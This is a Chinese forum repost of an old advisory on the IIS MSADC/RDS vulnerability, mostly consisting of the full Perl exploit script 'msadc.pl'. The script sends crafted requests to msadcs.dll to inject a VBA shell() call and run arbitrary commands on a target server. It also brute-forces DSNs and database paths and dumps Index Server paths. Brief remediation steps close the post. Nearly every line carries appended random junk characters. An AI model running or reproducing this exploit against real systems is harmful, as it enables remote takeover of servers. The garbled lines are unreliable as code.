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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) v7s ]  
qZT 4+&y  
涉及程序: 3MNhH  
Microsoft NT server 'Qm` A=  
'5|Q<5!o  
描述: CL)1Q  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Ss"|1]acP  
8>C; >v  
详细: zWCW:dI  
如果你没有时间读详细内容的话,就删除: b*I&k":  
c:\Program Files\Common Files\System\Msadc\msadcs.dll YQN]x}:E+4  
有关的安全问题就没有了。 .Q=2WCv0  
( z8]FT  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 D8r>a"gx  
P<j4\zJ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 &{-oA_@  
关于利用ODBC远程漏洞的描述,请参看: Q3<bC6$r  
,!o\),N  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm XM$5S+e  
fe& t-  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ikEWY_1Y  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp g@S@d&9  
\Dvl%:8   
这里不再论述。 /0 B07B  
no~OR Q  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 4kW 30Ma  
wx]+*Lzz  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset c,#~L7  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! J~_L4* Jw  
2ru*#Z#(  
Zd[y+$>  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ]Ks]B2Osz  
B$}wF<`k7  
#!perl 8! |.H p  
# EmtDrx4!(f  
# MSADC/RDS 'usage' (aka exploit) script U~u6}s]:  
# >:Rt>po8|w  
# by rain.forest.puppy z")3_5Br  
# p0}+071o%  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me >cwJl@wx-  
# beta test and find errors! 8k+q7  
vh1 Ma<cx  
use Socket; use Getopt::Std; p^pQZ6-  
getopts("e:vd:h:XR", \%args); "VT{1(]t  
OCbQB5k3  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Vze!/ED  
.G5NGB  
if (!defined $args{h} && !defined $args{R}) { IEno.i\  
print qq~ >\6jb&,%O  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ^F0k2pB  
-h <host> = host you want to scan (ip or domain) d vg;  
-d <seconds> = delay between calls, default 1 second x*loACee.  
-X = dump Index Server path table, if available x[GFX8h(k6  
-v = verbose `@f hge  
-e = external dictionary file for step 5 XhlI|h-j  
( )JYN5  
Or a -R will resume a command session !^Z[z[  
-)y> c  
~; exit;} *@bg/S K%  
EO o'a  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; N27K  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} {a+Fx}W  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} )*^OPVt  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); >j(I[_g  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} gZ `#tlA~  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } SHXa{-  
0,vj,ic*WX  
if (!defined $args{R}){ $ret = &has_msadc; vc>^.#7   
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} %T&&x2p^=?  
uJ|5 Ve  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" WL)_8!  
. "cmd /c "; UZ4tq  
$in=<STDIN>; chomp $in; 4 BE:&A  
$command="cmd /c " . $in ; {L-{Y<fke  
wRV`v$*6  
if (defined $args{R}) {&load; exit;} 4AJu2Hp  
;*>QG6Fh  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 9:CVN@E  
&try_btcustmr; ~ X]"P4 u  
3%vx' 1h[  
print "\nStep 2: Trying to make our own DSN..."; Gg}LC+Y  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ?j&~vy= T  
UijuJ(Tle  
print "\nStep 3: Trying known DSNs..."; !~|"LA!jn  
&known_dsn; w{YtTZp3  
JL]k:i^`A  
print "\nStep 4: Trying known .mdbs..."; &geOFe}R  
&known_mdb; 5H'b4Cyi`  
@ 2%.>0s.  
if (defined $args{e}){ 6S! lD=  
print "\nStep 5: Trying dictionary of DSN names..."; xvdnEaWe$  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ;:-2~z~~  
k"DQbUy0L  
print "Sorry Charley...maybe next time?\n"; WRLu 3nBx  
exit; ' F 6au[  
43}&w.AS  
############################################################################## (<> Sz(  
>PTu*6Z  
sub sendraw { # ripped and modded from whisker =CG!"&T  
sleep($delay); # it's a DoS on the server! At least on mine... \K_!d]I {  
my ($pstr)=@_; 5x1%oC  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || JX2 |  
die("Socket problems\n"); U47k5s(J  
if(connect(S,pack "SnA4x8",2,80,$target)){ %T,\xZ  
select(S); $|=1; ^)C$8:@  
print $pstr; my @in=<S>; 9sO{1rF  
select(STDOUT); close(S); ; K)?:  
return @in; I).^,%>Z)  
} else { die("Can't connect...\n"); }} L!+[]tB  
)K\k6HC.  
############################################################################## P60]ps!M  
+NzD/.gq  
sub make_header { # make the HTTP request My6]k?;}(  
my $msadc=<<EOT x%:> Ol  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 !cFE^VM_;  
User-Agent: ACTIVEDATA 0o"<^] _|  
Host: $ip @WDqP/4  
Content-Length: $clen vU \w3  
Connection: Keep-Alive AP?{N:+  
e u=f-HW]  
ADCClientVersion:01.06 0\_R|i_`>  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ]Gd]KP@S  
VtPoc(o4]  
--!ADM!ROX!YOUR!WORLD! kGBl)0pr`x  
Content-Type: application/x-varg zOu$H[  
Content-Length: $reqlen i*cE  
0|DG\&?  
EOT D)/XP  
; $msadc=~s/\n/\r\n/g; ]uj.uWD  
return $msadc;} Tm~#wL +r  
v-r[~  
############################################################################## ("P mB?20  
"'H7F ,k'  
sub make_req { # make the RDS request k>z-Zg  
my ($switch, $p1, $p2)=@_; RQK**  
my $req=""; my $t1, $t2, $query, $dsn; whg4o|p  
~RR_[t2Z  
if ($switch==1){ # this is the btcustmr.mdb query EH!EyNNb  
$query="Select * from Customers where City=" . make_shell(); Med"dHo7  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ss*2TE7  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} *V@MAt  
g9lg  
elsif ($switch==2){ # this is general make table query E*T84Jh6  
$query="create table AZZ (B int, C varchar(10))"; T=f;n;/>  
$dsn="$p1";} gx>mKSzy  
7q{v9xKy  
elsif ($switch==3){ # this is general exploit table query BI]ut |Qw  
$query="select * from AZZ where C=" . make_shell(); ~cg+BAfu  
$dsn="$p1";} 3sg)]3jm2  
_I70qz8  
elsif ($switch==4){ # attempt to hork file info from index server ?BWvF]p5/  
$query="select path from scope()"; _^2[(<Gmv  
$dsn="Provider=MSIDXS;";} ygy#^  
hk$nlc|$  
elsif ($switch==5){ # bad query [>]VN)_J5  
$query="select"; u2.r,<rC*Q  
$dsn="$p1";} ~E6+2t*  
@Qsg.9N3K  
$t1= make_unicode($query); :PjUl  
$t2= make_unicode($dsn); G'}_ZUy#  
$req = "\x02\x00\x03\x00"; OrH1fhh   
$req.= "\x08\x00" . pack ("S1", length($t1)); YDzF( ']o:  
$req.= "\x00\x00" . $t1 ; 2DBFXhP  
$req.= "\x08\x00" . pack ("S1", length($t2)); A@Yi{&D_Q]  
$req.= "\x00\x00" . $t2 ; pvwnza1  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; @okm@6J*X  
return $req;} iN9!?Ov_  
_~#C $-T  
############################################################################## X9`C2fyVd  
:;#}9g9  
sub make_shell { # this makes the shell() statement "}x70q'>S  
return "'|shell(\"$command\")|'";} `_{ '?II  
WO*WAP)n  
############################################################################## -{amzyvLE  
PM?Ri^55<L  
sub make_unicode { # quick little function to convert to unicode #pn AK  
my ($in)=@_; my $out; 9 0if:mYA  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } K'rs9v"K|  
return $out;} Nm:<rI,^  
N,+g/o\f  
############################################################################## .N><yQ-j3'  
^fiRRFr[  
sub rdo_success { # checks for RDO return success (this is kludge) md +`#-D\O  
my (@in) = @_; my $base=content_start(@in); czsoD) N  
if($in[$base]=~/multipart\/mixed/){ SFPIr0 u  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ;@-5lCvC(+  
return 0;}  !+VN   
 9DAwC:<r  
############################################################################## ,'{B+CHoS  
G@I_6c E  
sub make_dsn { # this makes a DSN for us T^H) lC#R  
my @drives=("c","d","e","f"); Xqva&/-  
print "\nMaking DSN: "; 2F@<{v4  
foreach $drive (@drives) { )xy{[ K|M(  
print "$drive: "; y?4=u,{C  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . p`.fYW:p  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 2+Y`pz47W  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); iwTBE]J  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; BL^Hj  
return 0 if $2 eq "404"; # not found/doesn't exist ;A'17B8  
if($2 eq "200") { l#f]KLv4N_  
foreach $line (@results) { jJQfCOD$  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} p~;z"Z  
} return 0;} Uo)<_nG  
~map5@Kd  
############################################################################## {[y"]_B4  
=<uz'\Ytv%  
sub verify_exists { kT=|tQ@  
my ($page)=@_; 3A/MFQ#2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); {j4:. fD  
return $results[0];} w)SxwlW}  
soK_l|z:J  
############################################################################## Bq =](<>>  
sWzXl~JbF  
sub try_btcustmr { ;8Q?`=a  
my @drives=("c","d","e","f"); e7AI&5Eg{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); JV{!Ukuyp+  
" yl"A4p S  
foreach $dir (@dirs) { `X03Q[:q"[  
print "$dir -> "; # fun status so you can see progress uXa}<=O  
foreach $drive (@drives) { r<H^%##,w  
print "$drive: "; # ditto %ycT}Lu  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 7ib<Cb>K  
$reqlenlen=length( "$reqlen" ); wm[d5A4  
$clen= 206 + $reqlenlen + $reqlen; znpZ0O\!  
0`zq*OQ  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Os]M$c_88  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} j~> #{"C  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} qiJ;v1  
j 0NPd^  
############################################################################## I}3K,w/7mi  
*Z(C' )7r  
sub odbc_error { Bm>(m{sX>  
my (@in)=@_; my $base; iEO2Bil]  
my $base = content_start(@in); EB<tX`Wp  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this .y/?~+N^  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j-\u_#kx%  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %R"nm  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :#KURYO<  
return $in[$base+4].$in[$base+5].$in[$base+6];} } +Z;zm@/6  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ttt&sW`  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . &,|uTIs  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 9:5NX3"p  
[NDYJ'VGe  
############################################################################## 3+PM_c)Y  
OtqLigt&l  
sub verbose { \K=PIcH  
my ($in)=@_; IUG .q8  
return if !$verbose; 45JLx?rN_  
print STDOUT "\n$in\n";} +@v} (  
QCnVZ" !(  
############################################################################## Y0'^S<ox  
3{E}^ve  
sub save { S8<aq P  
my ($p1, $p2, $p3, $p4)=@_; \"j1fAD!  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; }('QIvq2  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; RtEkd_2  
close OUT;} l'R`XGT  
88U  
############################################################################## (jMp`4P  
N/.9Aj/h~&  
sub load { GY :IORuA4  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~<R~Q:T  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ai2}vR  
@p=<IN>; close(IN); 7nIMIkT:  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 6-}9m7#Y  
$target= inet_aton($ip) || die("inet_aton problems"); ZXkAw sr  
print "Resuming to $ip ..."; 7:<>#  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; l,8| E  
if($p[1]==1) { YZD]<ptR  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; MkG ->*  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Jrl xa3 [  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); >rGlj  
if (rdo_success(@results)){print "Success!\n";} ,PAKPX9v_F  
else { print "failed\n"; verbose(odbc_error(@results));}} G _o4A:2  
elsif ($p[1]==3){ `;hBO#(H0}  
if(run_query("$p[3]")){ >?x Vr  
print "Success!\n";} else { print "failed\n"; }} 3N\X{za  
elsif ($p[1]==4){ Dne&YVF9V  
if(run_query($drvst . "$p[3]")){ rbWFq|(_  
print "Success!\n"; } else { print "failed\n"; }} 1yf&ck1R  
exit;} H[oi? {L  
3<lDsb(}0A  
############################################################################## yV`vu/3K  
fTcRqov  
sub create_table { @UBp;pb}=h  
my ($in)=@_; ;T(^riAEl  
$reqlen=length( make_req(2,$in,"") ) - 28; b`=rd 4cpU  
$reqlenlen=length( "$reqlen" ); 9bvd1bKEW  
$clen= 206 + $reqlenlen + $reqlen; N/p_6GYMa  
my @results=sendraw(make_header() . make_req(2,$in,"")); v<**GW]neD  
return 1 if rdo_success(@results); A O]e^Q  
my $temp= odbc_error(@results); verbose($temp); Y6Q6--P  
return 1 if $temp=~/Table 'AZZ' already exists/; 0eIR)#j*  
return 0;} c Ix(;[U  
fW`F^G1R  
############################################################################## J0o[WD$A x  
U[u6UG  
sub known_dsn { _l<"Qqt  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go PV Q%y  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", X?a67qL  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", `WL*Jb  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); a WC sLH  
ujBADDwOg)  
foreach $dSn (@dsns) { lnUy ? 0(  
print "."; ==9Ez  
next if (!is_access("DSN=$dSn")); l0V@19Ec  
if(create_table("DSN=$dSn")){ co|0s+%PBq  
print "$dSn successful\n"; }qg&2M%\  
if(run_query("DSN=$dSn")){ Orgje@c{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ,.B8hr@H6-  
print "Something's borked. Use verbose next time\n";}}} print "\n";} cQ%HwYn  
8iB}a\]B  
############################################################################## uNDkK o<M  
wz57.e!Me=  
sub is_access { sy?W\(x  
my ($in)=@_; k2a^gCBC  
$reqlen=length( make_req(5,$in,"") ) - 28; CJ>=odK[  
$reqlenlen=length( "$reqlen" ); mbK$Wp#  
$clen= 206 + $reqlenlen + $reqlen; %G*D0pE  
my @results=sendraw(make_header() . make_req(5,$in,"")); qK pU.rP  
my $temp= odbc_error(@results); zjS<e XLs[  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); EWi@1PAZK  
return 0;} OduTg^R  
`Hqu 2 '`  
############################################################################## %|~ UNP$  
Y,r2m nq  
sub run_query { {zcjTJ=Zt8  
my ($in)=@_; . j },  
$reqlen=length( make_req(3,$in,"") ) - 28; yO)Qg* r  
$reqlenlen=length( "$reqlen" ); -_dgd:or  
$clen= 206 + $reqlenlen + $reqlen; bE{`g]C5  
my @results=sendraw(make_header() . make_req(3,$in,"")); l;fH5z  
return 1 if rdo_success(@results); %]` WsG  
my $temp= odbc_error(@results); verbose($temp); s&l[GKR  
return 0;} PsVA>Q,4!.  
mCo5 Gdt  
############################################################################## 6Xa2A 6  
uBXI*51{  
sub known_mdb { ))vwofkw4  
my @drives=("c","d","e","f","g"); l%O-c}X  
my @dirs=("winnt","winnt35","winnt351","win","windows"); t&0p@xLQ  
my $dir, $drive, $mdb; iJK9-k~  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~a}pYLxl  
4KKNw9L)  
# this is sparse, because I don't know of many zq#o8))4X  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 8~bPoWP  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", U7N<!6  
"\\system32\\certmdb.mdb", HD>{UU?  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% utXcfKdt  
) )Nc|`  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 0#ph1a<  
"\\cfusion\\cfapps\\forums\\forums_.mdb", >_".  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", pJI H_H  
"\\cfusion\\cfapps\\security\\realm_.mdb", "#()4.9  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", _gHJ4(?w  
"\\cfusion\\database\\cfexamples.mdb", KRQ/wuv  
"\\cfusion\\database\\cfsnippets.mdb", |cacMgly  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", d$ /o\G  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", VmW_,  
"\\cfusion\\brighttiger\\database\\cleam.mdb", DRnXo-Aaj  
"\\cfusion\\database\\smpolicy.mdb", -p 1arA  
"\\cfusion\\database\cypress.mdb", Co M8  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", l40$}!!<  
"\\website\\cgi-win\\dbsample.mdb", GZ%R fKyQ  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ETIf x)B-  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" >3JOQ;:d8  
); #these are just ;Mc}If*  
foreach $drive (@drives) { 9f "*O j  
foreach $dir (@dirs){ CfAqMH*ip  
foreach $mdb (@sysmdbs) { 0t~--/lA  
print "."; tPUQ"S  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ qy !G&  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; l/]P6 @N  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Kfi A 7W  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; cb+!H>+  
} else { print "Something's borked. Use verbose next time\n"; }}}}} R#t~i&v/  
<:p&P  
foreach $drive (@drives) { /[IK [  
foreach $mdb (@mdbs) { P_;oSN|>  
print "."; LZeR .8XM>  
if(create_table($drv . $drive . $dir . $mdb)){ )gR&Ms4  
print "\n" . $drive . $dir . $mdb . " successful\n"; $KiA~l  
if(run_query($drv . $drive . $dir . $mdb)){ E-/]UH3u H  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ;RrfE8mGj  
} else { print "Something's borked. Use verbose next time\n"; }}}} # a3Q<%V  
} H/b(dbs  
7J _H Ox#  
############################################################################## k$hWR;U  
m=R4A4Y7  
sub hork_idx { Djzb#M'm  
print "\nAttempting to dump Index Server tables...\n"; 1osI~oNZ  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; @ZmpcoDI  
$reqlen=length( make_req(4,"","") ) - 28; 3|A"CU/z@  
$reqlenlen=length( "$reqlen" ); 6 3HxQH  
$clen= 206 + $reqlenlen + $reqlen; 0YS*=J"7z  
my @results=sendraw2(make_header() . make_req(4,"","")); Ai/#C$MY$  
if (rdo_success(@results)){ (GeJBw,Q  
my $max=@results; my $c; my %d; NT/}}vES  
for($c=19; $c<$max; $c++){ qAU]}Et/  
$results[$c]=~s/\x00//g; f7`y*9^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; oxRu:+N  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Qcw/>LaL:  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; k_ skn3,u  
$d{"$1$2"}="";} A4# m&o  
foreach $c (keys %d){ print "$c\n"; } aoBM _#  
} else {print "Index server doesn't seem to be installed.\n"; }} n4:WM+f4  
 2}`OjVS  
############################################################################## rnW i<Se  
DCNuvrZ  
sub dsn_dict { U{ Y)\hR-  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); XhS<GF%  
while(<IN>){ OTRTa{TB  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 8z+ CYeV  
next if (!is_access("DSN=$dSn")); +"C0de|-  
if(create_table("DSN=$dSn")){ t+&WsCN  
print "$dSn successful\n"; |h3 YL!  
if(run_query("DSN=$dSn")){ g><sZqj8tt  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { W6)A":`  
print "Something's borked. Use verbose next time\n";}}} ^PD a  
print "\n"; close(IN);} 0$UE|yDs>  
Z6Mh`:7  
############################################################################## al5?w{us  
R4o_zwWgPw  
sub sendraw2 { # ripped and modded from whisker / og'W j  
sleep($delay); # it's a DoS on the server! At least on mine... X<1# )xC  
my ($pstr)=@_; ~h1'_0t   
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ]-O:|q>]  
die("Socket problems\n"); Q{>{ e3z}  
if(connect(S,pack "SnA4x8",2,80,$target)){ s^ 6S{XJ  
print "Connected. Getting data"; +>s[w{Svy  
open(OUT,">raw.out"); my @in; F`3I~(  
select(S); $|=1; print $pstr; rUj]6j=e  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} y :457R2F  
close(OUT); select(STDOUT); close(S); return @in; <5nz:B/  
} else { die("Can't connect...\n"); }} mtHw!*  
l<gg5 Zea  
############################################################################## * @oAM,@  
< B'BlqTS  
sub content_start { # this will take in the server headers $Q ?<']|A  
my (@in)=@_; my $c; {AB0 PM;-  
for ($c=1;$c<500;$c++) { l{;vD=D  
if($in[$c] =~/^\x0d\x0a/){ 6@bO3K|  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } g n'. 9";j  
else { return $c+1; }}} [1N*mY;  
return -1;} # it should never get here actually P[D ^*}  
W# ev  
############################################################################## VPf=LSxJe  
HQ]g{JVld\  
sub funky { 7ZN0_Q s  
my (@in)=@_; my $error=odbc_error(@in); !"_\5$5i<X  
if($error=~/ADO could not find the specified provider/){ dC)@v]#h  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; q),yY]5  
exit;} oas}8A)  
if($error=~/A Handler is required/){ f 1]1ZOb  
print "\nServer has custom handler filters (they most likely are patched)\n"; }VyD X14j  
exit;} xFgY#F  
if($error=~/specified Handler has denied Access/){ h_H$+!Nzb  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5*~G7/hT  
exit;}} ,%Dn}mWu  
+Ge-!&.;A  
############################################################################## )y._]is)b  
ZXp=QH+f  
sub has_msadc { V,lz}&3L  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); F(mm0:lT  
my $base=content_start(@results); )/Ul" QF  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); c\7~_w2  
return 0;} 0*x  
3PPN_Z  
######################## g&&5F>mF  
{8'I+-  
iFpJ /L  
解决方案: .]P@{T||Y  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll }ufH![|[r  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 |h4aJv  
$fL2w^ @  
拿出来充数 哈哈
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